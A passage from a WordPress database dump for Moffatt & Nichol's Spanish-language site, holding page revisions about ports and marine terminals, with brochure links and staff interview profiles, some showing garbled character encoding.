reconocido como un líder e innovador en el planeamiento y el diseño  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con más de 60 años de experiencia, Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÓN DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÓN DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del país con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos de nuestra nación,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marítimas','','inherit','open','open','','48-revision-9','','','2012-08-29 14:20:46','2012-08-29 14:20:46','',48,'http://moffattnichol.com/spanish/48-revision-9/',0,'revision','',0),(2672,1,'2012-09-06 09:31:18','2012-09-06 09:31:18','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=315  delay=5000 resume=15000 animation=500 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marítimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marítima. Participamos en la llegada de la contenedorización y tenemos expertos técnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancías y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el análisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseño y la construcción. Moffatt & Nichol puede dar soporte, prácticamente, a cualquier tarea portuaria, marítima o de transporte de carga desde sus oficinas y centros ubicados en Norteamérica, Europa y América Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marítimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÍTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo y ha jugado un papel importante en la evolución del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÓN PORTUARIA</strong><br />\r\n                Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y el diseño  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con más de 60 años de experiencia, Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÓN DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÓN DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del país con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos de nuestra nación,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marítimas','','inherit','open','open','','48-revision-10','','','2012-09-06 09:31:18','2012-09-06 09:31:18','',48,'http://moffattnichol.com/spanish/48-revision-10/',0,'revision','',0),(2675,1,'2012-09-06 09:48:09','2012-09-06 09:48:09','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Kevin.jpg\"><img class=\"alignnone size-full wp-image-1502\" title=\"Kevin\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Kevin.jpg\" alt=\"\" width=\"150\" height=\"152\" /></a>\n<p class=\"para-text\"><strong> Kevin</strong>\nEncargado, ManipulaciÃ³n de materiales</p>\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt &amp; Nichol?</strong>\nEn realidad, soy nuevo en la compaÃ±Ãa. He estado con la firma solo algunos meses.\n\n<strong>Â¿QuÃ© lo trajo a Moffatt &amp; Nichol?</strong>\nLos proyectos de la firma, su ambiente de trabajo, la gente y la ubicaciÃ³n de la oficina me atrajeron. Desde que he estado aquÃ, he confirmado mi decisiÃ³n de venir a Moffatt &amp; Nichol.\n\n<strong>Â¿CÃ³mo describirÃa su funciÃ³n?</strong>\nMe contrataron como Encargado de manipulaciÃ³n de materiales, y estoy a cargo de crear un departamento para apoyar la cartera de la firma en el Ã¡rea de instalaciones de manipulaciÃ³n de materiales a granel. Es un reto muy emocionante para mÃ, tanto en lo personal como en lo profesional.\n\n<strong>Â¿En quÃ© tipos de proyecto trabaja o ha trabajado?</strong>\nEl trabajo varÃa constantemente, asÃ que tengo la oportunidad de trabajar en muchas Ã¡reas, desde desarrollos de terminales de contenedores y carbÃ³n o reparaciones estructurales marÃtimas hasta estudios de redes de transporte.\n\n<strong>Â¿QuÃ© es lo que le da mÃ¡s satisfacciÃ³n de su funciÃ³n? </strong>\nSiento que he podido aportar resultados casi inmediatos debido a mi experiencia y formaciÃ³n. Una de las cosas que me emocionan mÃ¡s sobre mi trabajo es poder guiar a profesionales jÃ³venes de ingenierÃa.','Kevin','<p class=\"para-text\">\n<strong> Kevin</strong>\nEncargado, ManipulaciÃ³n de materiales \n\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol?</strong>\nEn realidad, soy nuevo en la compaÃ±Ãa. He estado con la firma solo algunos meses.  \n \n<strong>Â¿QuÃ© lo trajo a Moffatt & Nichol?</strong>\nLos proyectos de la firma, su ambiente de trabajo, la gente y la ubicaciÃ³n de la oficina me atrajeron. Desde que he estado aquÃ, he confirmado mi decisiÃ³n de venir a Moffatt & Nichol.  </p>','inherit','open','open','','1501-autosave','','','2012-09-06 09:48:09','2012-09-06 09:48:09','',1501,'http://moffattnichol.com/spanish/1501-autosave/',0,'revision','',0),(2676,1,'2012-01-11 07:35:18','2012-01-11 02:05:18','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Kevin.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Kevin.jpg\" alt=\"\" title=\"Kevin\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1502\" /></a>\n<p class=\"para-text\">\n<strong> Kevin</strong>\nEncargado, ManipulaciÃ³n de materiales \n\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol?</strong>\nEn realidad, soy nuevo en la compaÃ±Ãa. He estado con la firma solo algunos meses.  \n \n<strong>Â¿QuÃ© lo trajo a Moffatt & Nichol?</strong>\nLos proyectos de la firma, su ambiente de trabajo, la gente y la ubicaciÃ³n de la oficina me atrajeron. Desde que he estado aquÃ, he confirmado mi decisiÃ³n de venir a Moffatt & Nichol.  \n \n<strong>Â¿CÃ³mo describirÃa su funciÃ³n?</strong>\nMe contrataron como Encargado de manipulaciÃ³n de materiales, y estoy a cargo de crear un departamento para apoyar la cartera de la firma en el Ã¡rea de instalaciones de manipulaciÃ³n de materiales a granel. Es un reto muy emocionante para mÃ, tanto en lo personal como en lo profesional.  \n \n<strong>Â¿En quÃ© tipos de proyecto trabaja o ha trabajado?</strong> \nEl trabajo varÃa constantemente, asÃ que tengo la oportunidad de trabajar en muchas Ã¡reas, desde desarrollos de terminales de contenedores y carbÃ³n o reparaciones estructurales marÃtimas hasta estudios de redes de transporte.\n \n<strong>Â¿QuÃ© es lo que le da mÃ¡s satisfacciÃ³n de su funciÃ³n? </strong>\nSiento que he podido aportar resultados casi inmediatos debido a mi experiencia y formaciÃ³n. Una de las cosas que me emocionan mÃ¡s sobre mi trabajo es poder guiar a profesionales jÃ³venes de ingenierÃa.\n \n</p>\n','Kevin','<p class=\"para-text\">\n<strong> Kevin</strong>\nEncargado, ManipulaciÃ³n de materiales \n\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol?</strong>\nEn realidad, soy nuevo en la compaÃ±Ãa. He estado con la firma solo algunos meses.  \n \n<strong>Â¿QuÃ© lo trajo a Moffatt & Nichol?</strong>\nLos proyectos de la firma, su ambiente de trabajo, la gente y la ubicaciÃ³n de la oficina me atrajeron. Desde que he estado aquÃ, he confirmado mi decisiÃ³n de venir a Moffatt & Nichol.  </p>','inherit','open','open','','1501-revision','','','2012-01-11 07:35:18','2012-01-11 02:05:18','',1501,'http://moffattnichol.com/spanish/1501-revision/',0,'revision','',0),(2677,1,'2012-01-09 07:50:00','2012-01-09 02:20:00','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Pierce.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Pierce.jpg\" alt=\"\" title=\"Pierce\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1512\" /></a>\n<p class=\"para-text\">\n<strong> Pierce  </strong>\nDirector de transporte  \n\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol?</strong>\nQuince meses\n\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\nUn colega enviÃ³ mi CV a alguien en Moffatt & Nichol, y fue tratado en una reuniÃ³n de la direcciÃ³n de la firma. Alguien reconociÃ³ mi nombre de mi trabajo en el sector pÃºblico, y comenzamos un diÃ¡logo muy interesante.\n\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que comenzÃ³ con nosotros?</strong>\nYo lleguÃ© a Moffatt & Nichol en la crisis de la recesiÃ³n. El futuro era atemorizante. Ahora, lo atemorizante es cÃ³mo entregar productos incluso de mÃ¡s alta calidad a un precio aÃºn menor.\n\n<strong>Â¿En quÃ© tipos de proyecto trabaja o ha trabajado?</strong>\nHe estado expuesto a proyectos y programas en las seis Ã¡reas de especialidad de la firma. TambiÃ©n ayudo a la firma y a sus clientes, organizaciones comerciales y entidades del sector pÃºblico en temas de gobernabilidad, obtenciÃ³n de fondos y problemas de riesgo asociados con el desarrollo de la infraestructura\n\n<strong>Â¿CÃ³mo describirÃa el ambiente de trabajo?</strong>\nPermÃtame utilizar una metÃ¡fora costera:  Moffatt & Nichol tiene Ã©xito donde las olas del mar de las fuerzas institucionales y del mercado chocan con la ribera de roca de la ingenierÃa y la ciencia.\n\n<strong>Â¿QuÃ© es lo que le da mÃ¡s satisfacciÃ³n de su funciÃ³n?</strong>\nVisitar una oficina de Moffatt & Nichol, escuchar y aprender de gente inteligente y experimentada, ya sean ingenieros, planificadores, economistas o profesionales de desarrollo de negocios.\n\n<strong>Â¿QuÃ© separa a Moffatt & Nichol de la competencia?</strong>\nHumildad y honradez. Cuanto mÃ¡s grande una organizaciÃ³n llega a ser, mÃ¡s difÃcil es mantener esos valores. Moffatt & Nichol ha mantenido estos valores durante toda su herencia de mÃ¡s de 60 aÃ±os.\n\n</p>\n\n','Pierce  ','<p class=\"para-text\">\n<strong> Pierce  </strong>\nDirector de transporte  \n\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol?</strong>\nQuince meses\n\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\nUn colega enviÃ³ mi CV a alguien en Moffatt & Nichol, y fue tratado en una reuniÃ³n de la direcciÃ³n de la firma. Alguien reconociÃ³ mi nombre de mi trabajo en el sector pÃºblico, y comenzamos un diÃ¡logo muy interesante.\n<p/>','inherit','open','open','','1511-revision','','','2012-01-09 07:50:00','2012-01-09 02:20:00','',1511,'http://moffattnichol.com/spanish/1511-revision/',0,'revision','',0),(2678,1,'2012-09-06 09:50:34','2012-09-06 09:50:34','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Pierce.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Pierce.jpg\" alt=\"\" title=\"Pierce\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1512\" /></a>\r\n<p class=\"para-text\">\r\n<strong> Pierce  </strong>\r\nDirector de transporte  \r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\nQuince meses\r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nUn colega envió mi CV a alguien en Moffatt & Nichol, y fue tratado en una reunión de la dirección de la firma. Alguien reconoció mi nombre de mi trabajo en el sector público, y comenzamos un diálogo muy interesante.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que comenzó con nosotros?</strong>\r\nYo llegué a Moffatt & Nichol en la crisis de la recesión. El futuro era atemorizante. Ahora, lo atemorizante es cómo entregar productos incluso de más alta calidad a un precio aún menor.\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nHe estado expuesto a proyectos y programas en las seis áreas de especialidad de la firma. También ayudo a la firma y a sus clientes, organizaciones comerciales y entidades del sector público en temas de gobernabilidad, obtención de fondos y problemas de riesgo asociados con el desarrollo de la infraestructura\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nPermítame utilizar una metáfora costera:  Moffatt & Nichol tiene éxito donde las olas del mar de las fuerzas institucionales y del mercado chocan con la ribera de roca de la ingeniería y la ciencia.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nVisitar una oficina de Moffatt & Nichol, escuchar y aprender de gente inteligente y experimentada, ya sean ingenieros, planificadores, economistas o profesionales de desarrollo de negocios.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nHumildad y honradez. Cuanto más grande una organización llega a ser, más difícil es mantener esos valores. Moffatt & Nichol ha mantenido estos valores durante toda su herencia de más de 60 años.\r\n\r\n</p>\r\n\r\n','Pierce  ','<p class=\"para-text\">\r\n<strong> Pierce  </strong>\r\nDirector de transporte  \r\n\r\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\nQuince meses\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nUn colega enviÃ³ mi CV a alguien en Moffatt & Nichol, y fue tratado en una reuniÃ³n de la direcciÃ³n de la firma. Alguien reconociÃ³ mi nombre de mi trabajo en el sector pÃºblico, y comenzamos un diÃ¡logo muy interesante.\r\n<p/>','inherit','open','open','','1511-revision-2','','','2012-09-06 09:50:34','2012-09-06 09:50:34','',1511,'http://moffattnichol.com/spanish/1511-revision-2/',0,'revision','',0),(2679,1,'2012-09-06 09:51:05','2012-09-06 09:51:05','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Pierce.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Pierce.jpg\" alt=\"\" title=\"Pierce\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1512\" /></a>\r\n<p class=\"para-text\">\r\n<strong> Pierce  </strong>\r\nDirector de transporte  \r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\nQuince meses\r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nUn colega envió mi CV a alguien en Moffatt & Nichol, y fue tratado en una reunión de la dirección de la firma. Alguien reconoció mi nombre de mi trabajo en el sector público, y comenzamos un diálogo muy interesante.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que comenzó con nosotros?</strong>\r\nYo llegué a Moffatt & Nichol en la crisis de la recesión. El futuro era atemorizante. Ahora, lo atemorizante es cómo entregar productos incluso de más alta calidad a un precio aún menor.\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nHe estado expuesto a proyectos y programas en las seis áreas de especialidad de la firma. También ayudo a la firma y a sus clientes, organizaciones comerciales y entidades del sector público en temas de gobernabilidad, obtención de fondos y problemas de riesgo asociados con el desarrollo de la infraestructura\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nPermítame utilizar una metáfora costera:  Moffatt & Nichol tiene éxito donde las olas del mar de las fuerzas institucionales y del mercado chocan con la ribera de roca de la ingeniería y la ciencia.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nVisitar una oficina de Moffatt & Nichol, escuchar y aprender de gente inteligente y experimentada, ya sean ingenieros, planificadores, economistas o profesionales de desarrollo de negocios.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nHumildad y honradez. Cuanto más grande una organización llega a ser, más difícil es mantener esos valores. Moffatt & Nichol ha mantenido estos valores durante toda su herencia de más de 60 años.\r\n\r\n</p>\r\n\r\n','Pierce  ','<p class=\"para-text\">\r\n<strong> Pierce  </strong>\r\nDirector de transporte  \r\n\r\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\nQuince meses\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nUn colega enviÃ³ mi CV a alguien en Moffatt & Nichol, y fue tratado en una reuniÃ³n de la direcciÃ³n de la firma. Alguien reconociÃ³ mi nombre de mi trabajo en el sector pÃºblico, y comenzamos un diÃ¡logo muy interesante.\r\n<p/>','inherit','open','open','','1511-autosave','','','2012-09-06 09:51:05','2012-09-06 09:51:05','',1511,'http://moffattnichol.com/spanish/1511-autosave/',0,'revision','',0),(2680,1,'2012-01-08 07:54:19','2012-01-08 02:24:19','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg\" alt=\"\" title=\"Loraine\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1515\" /></a>\n<p class=\"para-text\">\n<strong>Loraine</strong>\nIngeniera principal de proyectos \n\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ã</strong>a? Fui recomendada por un amigo que me informÃ³ que Moffatt & Nichol estaba enfocÃ¡ndose en el mercado latinoamericano. PensÃ© que esta podrÃa ser una asignaciÃ³n emocionante y una gran oportunidad de crecimiento profesional.\n\n<strong>Â¿QuÃ© le ha mantenido con la compaÃ±Ãa?</strong>\nPuedo trabajar en una variedad de ambiciosos proyectos y tambiÃ©n tener la oportunidad de asumir mÃ¡s responsabilidad.\n\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\nYa que esta era una nueva oficina en una nueva regiÃ³n, inicialmente pasÃ© mucho tiempo en licitaciones, buscando trabajo. Desde entonces hemos ganado algunos proyectos muy variados que estoy manejando actualmente.\n\n<strong>Â¿En quÃ© tipos de proyecto trabaja o ha trabajado? </strong>\nHe trabajado en diferentes instalaciones marÃtimas; a saber, terminales de carga seca a granel, terminales de contenedores, terminales de carga lÃquida a granel y puertos deportivos. Nuestra Ã¡rea de competencia ha abarcado desde estudios de mercado hasta la selecciÃ³n del lugar, desarrollo de concepto, estudios costeros, simulaciones de navegaciÃ³n, ingenierÃa bÃ¡sica e ingenierÃa de detalle.\n\n<strong>Â¿CÃ³mo describirÃa el ambiente de trabajo?</strong>\nA pesar de estar dispersas por el mundo, las oficinas de Moffatt & Nichol trabajan juntas como un equipo unido. Es un ambiente muy amigable de trabajo, con el personal de todas las oficinas ayudÃ¡ndose entre sÃ de forma cotidiana.\n\n<strong>Â¿CÃ³mo ha cambiado la compaÃ±Ãa desde que usted llegÃ³? </strong>\nLa compaÃ±Ãa ha aumentado de tamaÃ±o desde cerca de 300 personas a mÃ¡s de 500, se ha expandido geogrÃ¡ficamente, ha ampliado sus especialidades a seis Ã¡reas y ha implementado un comitÃ© de operaciones que estÃ¡ separado de la Junta Directiva\n\n<strong>Â¿QuÃ© es lo que le da mÃ¡s satisfacciÃ³n de su funciÃ³n?</strong>\nDebido a que tengo la oportunidad de trabajar en una variedad de proyectos, siento que me formado mejor como ingeniera. \n</p>\n','Loraine ','<p class=\"para-text\">\n<strong>Loraine</strong>\nIngeniera principal de proyectos \n\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ã</strong>a? Fui recomendada por un amigo que me informÃ³ que Moffatt & Nichol estaba enfocÃ¡ndose en el mercado latinoamericano. PensÃ© que esta podrÃa ser una asignaciÃ³n emocionante y una gran oportunidad de crecimiento profesional.\n\n<strong>Â¿QuÃ© le ha mantenido con la compaÃ±Ãa?</strong>\nPuedo trabajar en una variedad de ambiciosos proyectos y tambiÃ©n tener la oportunidad de asumir mÃ¡s responsabilidad.\n\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\n</p>','inherit','open','open','','1514-revision','','','2012-01-08 07:54:19','2012-01-08 02:24:19','',1514,'http://moffattnichol.com/spanish/1514-revision/',0,'revision','',0),(2681,1,'2012-09-06 09:52:13','2012-09-06 09:52:13','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg\" alt=\"\" title=\"Loraine\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1515\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Loraine</strong>\r\nIngeniera principal de proyectos \r\n\r\n<strong>¿Cómo llegó a la compañí</strong>a? Fui recomendada por un amigo que me informó que Moffatt & Nichol estaba enfocándose en el mercado latinoamericano. Pensé que esta podría ser una asignación emocionante y una gran oportunidad de crecimiento profesional.\r\n\r\n<strong>¿Qué le ha mantenido con la compañía?</strong>\r\nPuedo trabajar en una variedad de ambiciosos proyectos y también tener la oportunidad de asumir más responsabilidad.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nYa que esta era una nueva oficina en una nueva región, inicialmente pasé mucho tiempo en licitaciones, buscando trabajo. Desde entonces hemos ganado algunos proyectos muy variados que estoy 